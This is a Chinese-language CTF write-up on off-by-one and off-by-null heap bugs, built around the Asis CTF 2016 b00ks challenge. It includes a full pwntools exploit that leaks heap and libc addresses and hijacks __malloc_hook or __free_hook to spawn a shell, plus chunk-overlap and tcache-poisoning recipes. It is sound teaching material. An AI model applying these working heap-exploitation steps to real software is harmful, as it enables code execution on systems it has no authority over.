Off-By-One

Off-By-One即可以产生一个字节的溢出,Off-By-One中又包括Off-By-Null(poison_null_byte),即溢出的一个字节被设置为0,多产生于strcpy或自定义输入函数中,将末尾置空。

一般通过修改size字段进行漏洞利用。

Off-By-One

利用场景1(控制heap_list):

程序中存在Off-By-One漏洞会溢出修改heap_list(即bss上存放堆指针的)

利用思路:

  • 首先在某块区域处构造一个fake_chunk块。
  • 通过Off-By-One(null)溢出控制bss的最后一个字节指向构造的区域。
  • 通过heap_list即可实现对fake_chunk块的读写操作。

**例题:Asis CTF 2016 b00ks**

漏洞点在于菜单之前输入user_name时,会产生off-by-null漏洞,而user_name后紧跟着的是heap_list。

pi9b3kR.png

add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
printf("\nEnter book name size: ");
__isoc99_scanf("%d", &size);
if ( size < 0 )
goto LABEL_2;
printf("Enter book name (Max 32 chars): ");
name_addr = malloc(size);
if ( !name_addr )
{
printf("unable to allocate enough space");
goto LABEL_17;
}
if ( (unsigned int)my_read(name_addr, size - 1) )
{
printf("fail to read name");
goto LABEL_17;
}
size = 0;
printf("\nEnter book description size: ");
__isoc99_scanf("%d", &size);
if ( size < 0 )
{
LABEL_2:
printf("Malformed size");
}
else
{
description_addr = malloc(size);
if ( description_addr )
{
printf("Enter book description: ");
if ( (unsigned int)my_read(description_addr, size - 1) )
{
printf("Unable to read description");
}
else
{
v2 = sub_B24();
if ( v2 == -1 )
{
printf("Library is full");
}
else
{
v3 = malloc(0x20uLL);
if ( v3 )
{
*((_DWORD *)v3 + 6) = size;
*((_QWORD *)off_202010 + v2) = v3;
*((_QWORD *)v3 + 2) = description_addr;
*((_QWORD *)v3 + 1) = name_addr;
*(_DWORD *)v3 = ++unk_202024;
return 0LL;
}
printf("Unable to allocate book struct");
}
}
}

分析add函数,malloc了两块size大小的chunk,之后malloc了一个结构体,分别存放序号、name_addr、description_addr、description_size。

pi9bGfx.png

edit会修改description_addr指向的内容。

del会free掉结构体内容,并将heap_list上的指针置空。

show会输出所有(非free的)结构体内容。

利用过程

  • 首先user_name填充满0x20字节,由于程序逻辑是在menu之前输入user_name且add中会将heap_list赋值,因此add完成后heap_list的赋值会将user_name结尾的\x00清空,此时可以通过show函数打印出heap_list指向的内容,即堆地址。

  • 获得堆地址0x55775f0e4130之后,在0x55775f0e4100处伪造一个索引为1的结构体,伪造name_addr和description_addr为我们可以利用的地址,用来任意读写。

    1
    edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20))

​ 伪造结果:

pi9b8t1.png

​ 伪造后,下边的是实际的结构体1,上边的是我们伪造的结构体1,由于off-by-null,会把heap_list末尾的0x30置为00,因此list指向了 我们构造的fake_struct1,图中伪造的两个地址我们就可以控制了。

  • 160和1f0为下方两个chunk(chunk2)的地址,一个0x80size,一个0x60size,将chunk2free,160处的chunk会显示出main_arena地址,可以通过调用show(由于list[0]指向了fake_struct,此时调用show会打印160和1f0出的地址),这样就泄露了libc。
  • 1f0处的链入fastbin,可以通过edit(1)修改fd指向malloc_hook - 0x23实现fastbin attack,不过one_gadget打不通,需要realloc调栈。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
#context.log_level = "debug"

libc = ELF("./libc-2.23.so")
p = process("./book")

def add(name_size,name,content_size,content):
p.sendlineafter('> ','1')
p.sendlineafter('size: ',str(name_size))
p.sendlineafter('chars): ',name)
p.sendlineafter('size: ',str(content_size))
p.sendlineafter('tion: ',content)

def free(index):
p.sendlineafter('> ','2')
p.sendlineafter('delete: ',str(index))

def edit(index,content):
p.sendlineafter('> ','3')
p.sendlineafter('edit: ',str(index))
p.sendlineafter('ption: ',content)

def show():
p.sendlineafter('> ','4')

def change(author_name):
p.sendlineafter('> ','5')
p.sendlineafter('name: ',author_name)

p.sendline('a' * 0x1f + 'b')
add(0xd0,"aaaa",0x20,"bbbb") #1

show()
p.recvuntil('aaab')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
success("heap_addr: " + hex(heap_addr))

add(0x80,'cccccccc',0x60,'dddddddd') #2
add(0x20,'eeeeeeee',0x20,'ffffffff') #3

free(2)

edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90)+p64(0x20))


change('b' * 0x20)


gdb.attach(p)
pause()
show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-88-0x10-libc.symbols['__malloc_hook']
success("libc_base: " + hex(libc_base))

__free_hook = libc_base+libc.symbols['__free_hook']
__malloc_hook = libc_base+libc.symbols['__malloc_hook']
realloc = libc_base+libc.symbols['realloc']
og = [0x45216,0x4526a,0xf02a4,0xf1147]
shell = libc_base+og[1]
success("realloc: " + hex(realloc))
success("__malloc_hook: " + hex(__malloc_hook))
success("__free_hook: " + hex(__free_hook))
success("shell: " + hex(shell))

#method 1
edit(1,p64(__malloc_hook - 0x23))
add(0x60,'aaaaaaaa',0x60,b'a'*(0x13-8)+p64(shell)+p64(realloc+14))


#gdb.attach(p)
#pause()
p.interactive()

方法二:也可以不通过fastbin attack,在伪造fake_struct的时候,第一个addr不变还是指向unsortebin_chunk用来泄露libc,第二个chunk可以不用指向fastbin,而是指向struct3,这样edit(1)的时候会修改struct3的内容,修改struct3的内容为free_hook后,通过edit(3)再修改为one_gadget。

1
2
3
4
5
6
7
8
9
#method 2

edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20))


edit(1,p64(__free_hook) * 2)
edit(3,p64(shell))
free(3)

利用场景2(堆交叉):

当程序可以溢出一个字节时,我们可以构造如下形式的chunk,实现overlap(重叠)

1
2
3
4
5
6
7
8
9
+------------+
| | <-- free 的 unsortedbin 或是 smallbin chunk (因为此时 fd 和 bk 指向合法指针,才能够进行 unlink)
+------------+
| ... | <-- 任意 chunk
+------------+
| | <-- 进行溢出的 chunk
+------------+
| vuln | <-- 被溢出的 chunk,大小为 0x_00 (例如 0x100, 0x200……)
+------------+
1
2
3
4
5
add(0x410)  #0        unsorted_chunk或small_chunk
add(0x28) #1
add(0x18) #2
add(0x4f0) #3
add(0x10) #4 防止和topchunk合并的

free(chunk0),并入unsorted bin

通过off-by-null修改chunk2,使chunk3 pre_size为0x470,size为0x500。

1
edit(2, b'a' * 0x10 + p64(0x470))

free(chunk3),此时,堆管理器检查pre_size为0x470,向上找到chunk0的位置,发现chunk0为free_chunk,因此将chunk0-3进行合并。

之后,首先分配 0 的大小,使得 libc 地址被写到 1 里,就可以泄露出libc地址(因为1没被free,堆块交叉,出现uaf),然后将 2 分配出来,写入需要的内容,就可以 fastbin attack 了。

对于含tcache的题目:

add(chunk0),add(chunk1),

1
2
add(0x440)  #0
add(0x510) #1

此时,之前合并的堆会拆分一部分,通过edit(0)可以修改chunk1的fd,此时chunk1的fd位于list中,因此可以构造list中fd->target。

1
edit(0,  b'a' * 0x410 + p64(0) + p64(0x31) + p64(target))

再次add两次后获得目标内存。